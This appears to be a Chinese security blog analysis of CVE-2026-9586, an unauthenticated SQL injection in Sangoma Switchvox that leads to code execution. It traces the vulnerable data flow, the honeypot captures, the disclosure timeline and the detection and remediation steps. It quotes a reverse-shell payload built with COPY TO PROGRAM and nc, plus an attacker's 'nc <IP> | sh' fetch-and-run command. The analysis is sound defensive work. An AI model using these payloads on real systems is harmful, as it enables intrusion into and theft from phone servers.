2026年9月2日，CISA一次性将七个漏洞加入已知被利用漏洞（KEV）目录——Sangoma Switchvox SQL注入、Kludex Starlette请求走私、Kestra OSS命令注入、BerriAI LiteLLM认证缺陷、JFrog Artifactory认证缺陷，以及SonicWall SMA1000的两个漏洞。七个条目里最容易被企业资产清单"漏掉"的，是那个听起来不像IT资产的：一台电话交换机。CVE-2026-9586，CVSS 9.3，Sangoma Switchvox SMB Edition 8.3（build 104997）的未认证SQL注入，攻击者无需任何凭证即可在目标上以PostgreSQL超级用户身份执行任意命令。从补丁发布（7月14日）到蜜罐捕获首批真实攻击（8月30日），中间隔了48天——而Shodan显示，互联网上至今仍有约4000台Switchvox敞开着，大部分在美国。
这不是一条普通的"又一个高危漏洞"快讯。它背后是一段教科书级的漏洞研究流程：一家攻击性安全公司因为同生态的FreePBX漏洞进了KEV而决定审计Sangoma全家桶，其自动化研究系统在混淆过的Perl源码里标出了问题，一个AI代理自动完成去混淆；补丁发布前52天，研究方就联合蜜罐厂商在公网上布好了"绊线"，然后安安静静等了114天——直到8月30日绊线被踏响。本文完整复盘这条从XML字段到Shell的攻击链，以及它留给所有运维团队的那个尴尬问题：你们单位的电话系统，上一次打补丁是什么时候？
Switchvox是什么：一台穿着话机外衣的Linux服务器
先把主角请上台。Switchvox是Sangoma旗下的一体化企业VoIP电话系统（IP-PBX），跑在客户自己的服务器或虚拟机上，负责企业的整套语音通信：分机管理、语音信箱、呼叫转接、通话录音、监控与分析。对很多中小企业来说，它是机房角落里那台"装好就没人碰"的设备——IT部门管它叫电话系统，电信运营商思维让人觉得它像台家电，而它实际上是一台完整的Linux服务器：跑着Web管理界面、PostgreSQL数据库、Asterisk语音引擎，以及一大堆用Perl写的管理逻辑。
这正是问题的起点。设备的心智定位决定了它的运维待遇：服务器有补丁日历、有漏洞扫描、有基线核查，而"电话系统"往往只有一张贴在机柜上的分机表。当一台这样的设备暴露在公网上，它承载的攻击面与任何一台Web服务器没有区别——但它上面跑着的数据库里，存着全公司的通话记录、分机配置、语音信箱，管理界面背后则是整台服务器的root权限。Horizon3的研究员Zach Hanley在报告里那句评价很直白：大多数暴露在互联网上的Switchvox实例，要么正在被打，要么已经被打过了。
漏洞本体：一个通知接口，七个字的疏忽
出问题的是Switchvox一个看起来人畜无害的功能：让话机接收通知。当有来电、去电等事件时，Switchvox会向Polycom话机推送通知消息。这个功能通过一个无需认证的HTTP端点/pa暴露，由PhoneAppsHandler.pm这个Perl类处理。
请求到达后的完整数据流，Horizon3的披露写得非常清楚：
pre_cmd()第70行：从CGI参数POSTDATA读取POST正文；- 第74行：唯一的校验是确认正文以
<PolycomIPPhone>开头——仅此而已，内容不做任何净化； - 第78行：正文被存为
notification_xml，命令设为tel_notify； tel_notify()第180行：用XML::Simple::XMLin()解析XML，返回一个完全不可信的数据结构；- 第199/210行：从解析结果中取出
PhoneIP字段——无任何验证； - 第220-225行：
PhoneIP被直接字符串拼接进SQL语句（单引号上下文）； - 第226行：
$db->query("sql", $sql)以PostgreSQL超级用户身份执行这条被注入的语句。
拼接出来的查询长这样：SELECT proposed_extension FROM auto_phone_config WHERE ip_address = '<PhoneIP>'。开发者大概默认这个字段里只会出现一个IP地址，但XML是攻击者全文可控的——在单引号上下文里闭合引号、注入任意SQL，一次请求就够。CVE.org的官方描述干脆利落："未认证的远程攻击者可以使用单个精心构造的请求对后端PostgreSQL数据库执行任意SQL语句，包括数据库操作与远程代码执行。"
一个值得玩味的细节：Sangoma的Perl源码是做过混淆的。Horizon3的自动化漏洞研究系统最初标记出这个问题时，人类研究员面对的还是一堆混淆代码——随后其系统里的一个代理自动完成了源码去混淆，漏洞才得以确认。攻击性安全研究的流水线化，以及AI代理在其中已经承担的角色，这个细节本身就不比漏洞逊色。
从SQL注入到Shell：COPY TO PROGRAM的关键一跃
SQL注入到RCE之间通常隔着一段路：堆叠查询是否被允许、数据库进程是什么权限、能不能写文件、能不能UDF提权。而Switchvox把这段路铺成了直线——应用直接用超级用户连数据库。PostgreSQL的COPY ... TO PROGRAM语法允许把查询结果通过管道交给一个shell命令执行，这个能力本应只属于DBA，现在属于任何一个能往/pa发POST请求的陌生人。
Horizon3演示的利用POC，核心载荷就是一句：COPY (SELECT '') TO PROGRAM 'nc <攻击者IP> 4444 -e /bin/bash'。注入点后门一关（注释掉原查询的剩余部分），一条反向Shell就交了出去。没有凭证、没有交互、没有前置条件，一次HTTP POST，整个链条结束。蜜罐里捕获的真实攻击，用的正是这条路。
SRA的独立发现：不止Shell，还有cookie签名密钥
这个漏洞还有第二位发现者。Security Risk Advisors（SRA）Labs在5月11日独立报告了同一问题（他们的披露比Horizon3晚一个月，公开 advisory 在7月17日补丁发布后发出），并且把危害演示得更进一步：利用这个注入，他们完成了任意数据库操作——提取数据库内容、修改用户记录、把权限提升到Switchvox Web管理员，以及在服务器上执行任意代码唤起反向Shell。
SRA演示里最致命的一环：从数据库里窃取cookie签名密钥并发往外部服务器。拿到这个密钥，攻击者就能为任意用户伪造认证材料——也就是说，即便事后改掉所有密码、封掉可疑账号，只要签名密钥没换，攻击者手里那把"万能钥匙"依然有效。这直接决定了下文行动清单里"轮换密钥凭证"的优先级。
蜜罐114天：8月30日，绊线响了
整个事件最有戏剧性的部分，是那套提前布好的观察哨。5月8日——补丁发布前67天——Horizon3联合蜜罐厂商Defused Cyber在公网上部署了伪装成真实Switchvox的蜜罐，专门盯着这个尚未公开的漏洞会不会被0-day利用。此后的114天里，蜜罐安静得像不存在。
8月30日，绊线响了。捕获的攻击序列不长但信息量十足：攻击者的首个载荷是nc 176.65.148.184 39323 | sh——从攻击者服务器拉取脚本直接执行；紧接着的第二步，是一条经base64编码的枚举命令，解码后是top -bn1 | awk '/^ *PID/ {getline; print $1, $12, $9}'——抓取目标上的进程清单，再通过curl把结果回传到攻击者服务器。先确认机器活着、再摸清上面跑着什么，标准的自动化批量踩点节奏。
更关键的判断依据是时间：同一个源IP在短时间内横扫了多台蜜罐。蜜罐分布在不同位置、互相之间没有关联，唯一的共同点是都伪装成Switchvox——这说明攻击者在做互联网范围的批量扫描利用，而不是针对性攻击。Horizon3由此得出那个让4000台暴露实例的管理者脊背发凉的结论：大多数暴露实例要么已被光顾，要么正在排队。顺带一提，这个IP（176.65.148.184）在VirusTotal上早有案底——端口扫描、暴力破解、漏洞利用，一条龙的惯犯。
完整时间线：从审计到KEV的142天
- 4月10日：Horizon3向Sangoma报告Switchvox的12个漏洞（经GitHub Issues），当天获确认；
- 4月21日：Sangoma在预发布版中完成修复，交Horizon3验证；
- 5月8日：Horizon3联合Defused Cyber部署蜜罐，监控0-day利用；
- 5月11日：SRA Labs独立报告同一批问题；
- 7月14日：Sangoma发布Switchvox 8.4.0.2，公开修复全部漏洞；
- 7月17日：SRA发布漏洞advisory；
- 8月30日：Defused蜜罐捕获首批有效利用尝试；
- 9月1日：Horizon3发布技术复盘博客；
- 9月2日：CISA将CVE-2026-9586纳入KEV目录。
这条时间线里有两个值得展开的窗口。第一个是披露前的防御窗口：4月到7月间，厂商、两家研究方都知道这个未认证RCE的存在，公网上的4000台设备在完全不知情的状态下"裸奔"了三个月——好在蜜罐证明这期间没有大规模0-day利用。第二个是补丁后的武器化窗口：7月14日补丁发布，8月30日真实攻击出现，48天。对自建系统来说，48天可能连变更评审都没走完。而SRA的advisory（7月17日）理论上给了攻击者足够的技术细节参考——公开披露到武器化之间的时间，只会越来越短。
为什么是Sangoma：一个生态的连续失守
Horizon3选择审计Sangoma生态并非随机。此前的两个FreePBX漏洞——CVE-2025-57819与CVE-2025-64328——先后进入CISA KEV目录，同一家公司（Sangoma同时维护FreePBX与Switchvox两条产品线）的产品反复出现在"正在被利用"名单上，等于给攻击性安全团队发了邀请函。这次审计一口气挖出12个漏洞，CVE-2026-9586只是其中最响的一个。
这对防御方的启示是生态级的：当某厂商的一个产品进KEV，不要只盯着那一个CVE——同类产品、同一家族的代码习惯、同一套开发流程，大概率埋着同类问题。攻击者已经学会了按厂商而非按CVE来狩猎，防御方的资产清单也该有同样的视角。
检测与排查
- 查日志：若设备开启了SSH访问，检查
/var/log/switchvox/db-quirks.log——SQL注入的完整payload会留在这里，Horizon3给出的示例中可见COPY (SELECT '') TO PROGRAM 'nc ...'字样； - 查出口流量：排查设备是否曾与176.65.148.184通信（蜜罐捕获的攻击者IP），以及任何从PBX发起的异常出站连接——反向Shell与curl回传都会产生这类流量；
- 查进程与文件：设备上不明来源的
nc、bash进程，/tmp下可疑的输出文件（蜜罐攻击中攻击者曾把命令输出重定向到/tmp），近期异常的进程清单读取行为； - 查数据库：auto_phone_config表的异常记录、被修改的用户记录、新增的管理员账号；
- 查认证：cookie签名密钥一旦有外泄可能，视同已泄露处理——所有会话凭证应作废重发。
行动清单
- 立即升级到8.4.0.2：Switchvox SMB Edition 8.3（104997）及更早版本全部受影响，这是唯一的根治手段。走加急通道，不要等月度维护窗口——攻击者已经在批量扫；
- 把PBX请下公网：反问一句——这台设备真的需要对全网开放吗？绝大多数企业通信管理界面只应对内网或VPN暴露。这是未认证漏洞面前最便宜的一道墙，对4000台暴露设备里的每一台都成立；
- 按"已被打过"的假设善后：补丁只封门，不清账。若设备曾暴露公网且无法排除被试，轮换数据库凭证、Web管理员凭证，重点轮换cookie签名密钥（SRA已演示其可被窃取用于伪造任意用户认证材料），并检查通话记录与录音是否遭拖取——语音数据里有大量可被社工利用的信息；
- 把话机生态纳入资产与补丁管理：PBX、网关、话机管理平台，全部进资产清单、进漏洞扫描范围、进补丁日历。Sangoma生态两年内FreePBX两个漏洞加Switchvox十二个漏洞的表现，说明这个领域值得常态化盯防；
- 订阅KEV并建立响应机制：KEV新增条目应当触发自动化的资产比对——这次七连发里，Starlette、Kestra、LiteLLM、Artifactory、SonicWall SMA1000个个都可能在你的环境里有实例，别只处理上了新闻的那个。
从FreePBX的KEV条目，到Switchvox的十二连洞，再到蜜罐里那条nc | sh的反向Shell，这个故事最持久的教训不在任何一个CVE里，而在企业资产的认知盲区里：每一台"功能设备"背后都是一台完整的服务器，而攻击者的资产清单，从来不会漏掉它们。当CISA都开始为电话交换机发警报的时候，你机房角落里那台设备，也该被认真对待了。